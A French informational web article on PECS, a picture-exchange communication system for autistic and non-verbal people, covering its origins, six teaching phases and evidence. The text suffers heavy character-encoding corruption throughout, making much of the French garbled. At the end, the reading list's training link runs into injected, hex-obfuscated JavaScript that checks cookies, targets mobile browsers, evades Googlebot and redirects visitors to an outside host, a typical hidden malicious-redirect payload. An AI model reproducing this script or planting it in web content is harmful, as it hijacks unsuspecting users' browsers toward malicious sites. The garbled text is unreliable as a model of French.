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Moyens alternatifs de communication : le PECS

Le PECS est un des outils existants pour dAi??velopper une communication alternative chez une personne avec autisme. Il reposeAi??sur lai??i??Ai??changes dai??i??images pour communiquer ses besoins.

 

Objectifs de lai??i??approche :

Le PECS est un systA?me de communication par Ai??change dai??i??images. Lai??i??objectif de cet outil est d’ amener les enfants, adolescents ou adultes non-verbaux Ai?? pouvoir communiquer dai??i??une maniA?re fonctionnelle et autonome grA?ce Ai?? des images. Elle est souvent utilisAi??e pour des personnes avec autisme mais peut Ai??galement aider les personnes porteuses de trisomie, dAi??ficience intellectuelle, dysphasie, aphasie, maladie dai??i??Alzheimerai??i??. toutes personnes ayant des troubles de la communication.

Cai??i??est un moyen de communication augmentatif (qui complA?te un langage oral existant mais insuffisamment fonctionnel, Ai??laborAi?? et/ou intelligible) ou alternatif (qui se substitue Ai?? un langage oral tout Ai?? fait absent).

 

Origines de lai??i??approche :

En 1985, le Dr Bondy et le Dr Frost, spAi??cialistes reconnus en Analyse AppliquAi??e du Comportement (ABA), ont conAi??u le PECS. La crAi??ation de cet outil sai??i??appuie au dAi??part sur lai??i??Approche Pyramidale de lai??i??Education inspirAi??e des principes du Verbal Behavior (Comportement Verbal) de Skinner.

La communication est, dans le modA?le de Skinner, envisagAi??e Ai?? travers son utilitAi?? plutA?t quai??i??Ai?? travers ses caractAi??ristiques. Ainsi, la premiA?re fonction de communication enseignAi??e Ai?? la personne accompagnAi??eAi??est de rAi??aliser des demandes ce qui va lui permettre de rAi??pondre immAi??diatement Ai?? ses besoins (demander de lai??i??eau, du pain, le trampoline ou la musique…).

 

Principes de mise en Ai??uvre :

Lai??i??initiation et la motivation sont les points dai??i??appui permanents de cet enseignement, menAi?? surtout en environnement naturel dans des cadres quotidiens. Ainsi, lai??i??utilisation des images permet Ai?? la personne dai??i??obtenir quelque chose quai??i??il aime et quai??i??il dAi??sire.

Le principal outil utilisAi?? dans le PECS est les images : il sai??i??agit soit de photos des objets soit de pictogrammes (notamment pour les mots abstraits ou reprAi??sentant des actions comme Ai??Ai??me leverAi??Ai??). Dans tous les cas, le critA?re doit A?tre le rAi??alisme de lai??i??image utilisAi??e. La taille des images doit A?tre identique. Pour un aspect pratique, les images sont plastifiAi??es et du velcro est utilisAi?? pour pouvoir les ranger dans un classeur de communication.

 

Lai??i??enseignement du PECS passe par 6 phases dai??i??apprentissage.

Phase I : La personne donne une image Ai?? lai??i??adulte en face de lui et celui-ci lui offre immAi??diatement lai??i??objet demandAi?? en Ai??change.

Phase II : Lai??i??objectif est dai??i??apprendre Ai?? la personne accompagnAi??eAi??Ai?? se diriger vers son interlocuteurAi??pour lui donner lai??i??image. La personneAi??doit prendre lai??i??image et faire quelques pas pour la donner Ai?? lai??i??adulte.

Phase III : Cette phase a pour objectif dai??i??apprendre Ai?? la personne accompagnAi??eAi??Ai?? discriminer les images entre elles. Deux images sont Ai?? prAi??sent disposAi??es sur le classeur de communication et elleAi??doit choisir la bonne image pour obtenir ce quai??i??elle veut.

Phase IV : Lai??i??objectif ici est dai??i??apprendre Ai?? la personneAi??Ai?? constituer des phrases du type Ai?? Je veux + lai??i??objet dAi??sirAi?? Ai??. Pour cela,Ai??elleAi??doit disposer une image Ai??Ai??je veuxAi??Ai?? et une image de lai??i??objet dAi??sirAi?? sur une Ai??Ai??bande phraseAi??Ai??. Elle doit ensuite la dAi??tacher du classeur et la donner Ai?? lai??i??adulte.

Phase V : Il lui est ensuite appris Ai?? rAi??pondre Ai?? la question Ai?? Quai??i??est ce que tu veux ? Ai??. En effet, lors des Ai??tapes prAi??cAi??dentes, cai??i??est la spontanAi??itAi?? qui Ai??tait privilAi??giAi??e.

Phase VI : A ce stade, lai??i??objectif est de dAi??velopper les commentaires. Par exemple : lai??i??adulte prAi??sente une image dai??i??un ballon et demande Ai?? lai??i??enfant Ai??Ai??quai??i??est-ce que tu vois ?Ai??Ai??. Ce dernier doit former la phrase Ai??Ai??je vois un ballonAi??Ai?? sur sa bande phrase. Les questions de type Ai??Ai??quai??i??est-ce que tu entends ?Ai??Ai??, Quai??i??est-ce que tu sens ?Ai??Ai?? sont Ai??galement enseignAi??es et permettront Ai?? terme Ai?? la personneAi??Ai?? communiquer ses pensAi??es et ressentis.

 

EfficacitAi?? et validitAi?? scientifique :

DiffAi??rentes Ai??tudes ont montrAi?? que le PECS nai??i??entravait pas lai??i??accA?s au langage oral mais au contraire le facilitait, particuliA?rement chez des enfants dai??i??A?ge prAi??-scolaire. Dans tous les cas, le PECS rAi??duit nAi??cessairement un certain nombre de troubles du comportement et amAi??liore la qualitAi?? de vie de la personne et de sa famille dans la mesure oA? il lui permet de mieux comprendre son environnement et dai??i??A?tre mieux compris.

Le PECS a fait lai??i??objet dai??i??un grand nombre de publications depuis une vingtaine dai??i??annAi??es, nAi??anmoins, il existe des biais mAi??thodologiques au sein des Ai??tudes qui ne permettent pas Ai?? ce jour de valider scientifiquement son efficacitAi??. Toutefois, cai??i??est une mAi??thode qui fait lai??i??objet dai??i??un certain consensus et dont les principes sont aujourdai??i??hui utilisAi??s dans de nombreuses institutions franAi??aises.

 

LeAi??PECS est un outil, ce n’est pas une mAi??thode globale. IlAi??ne permet donc pas une prise en charge globale de lai??i??enfant. Elle doit donc A?tre complAi??tAi??e par des mAi??thodes Ai??ducatives pour dAi??velopper les autres domaines de compAi??tence (autonomie, motricitAi??, compAi??tences acadAi??miques, etc).Ai??Cai??i??est un outilAi??quiAi??peut A?tre mise en place en suivant des formations, et qui peut facilement A?tre mise en place par tous (parents, Ai??ducateurs, orthophonistes, psychologues, enseignantsai??i??). Enfin, aucun prAi??-requis nai??i??est nAi??cessaire pour commencer le PECS et il peut faciliter lai??i??accA?s au langage oral.Ai??Le PECS nAi??cessite la fabrication et la gestion de nombreuses images et lai??i??enfant doit toujours se dAi??placer avec son classeur de communication pour pouvoir communiquer.

Pour approfondir :

– Le Manuel PECS : 2nd Edition, A. Bondy & L. Frost.Ai??http://www.pecs-france.com/catalog/product_info.php?cPath=27&products_id=29

– Le PECS: systA?me de communication par Ai??change dai??i??images. LAi??naA?g Gadon. 2006.Ai??

– Formations PECS : http://www.pecs-france.fr/var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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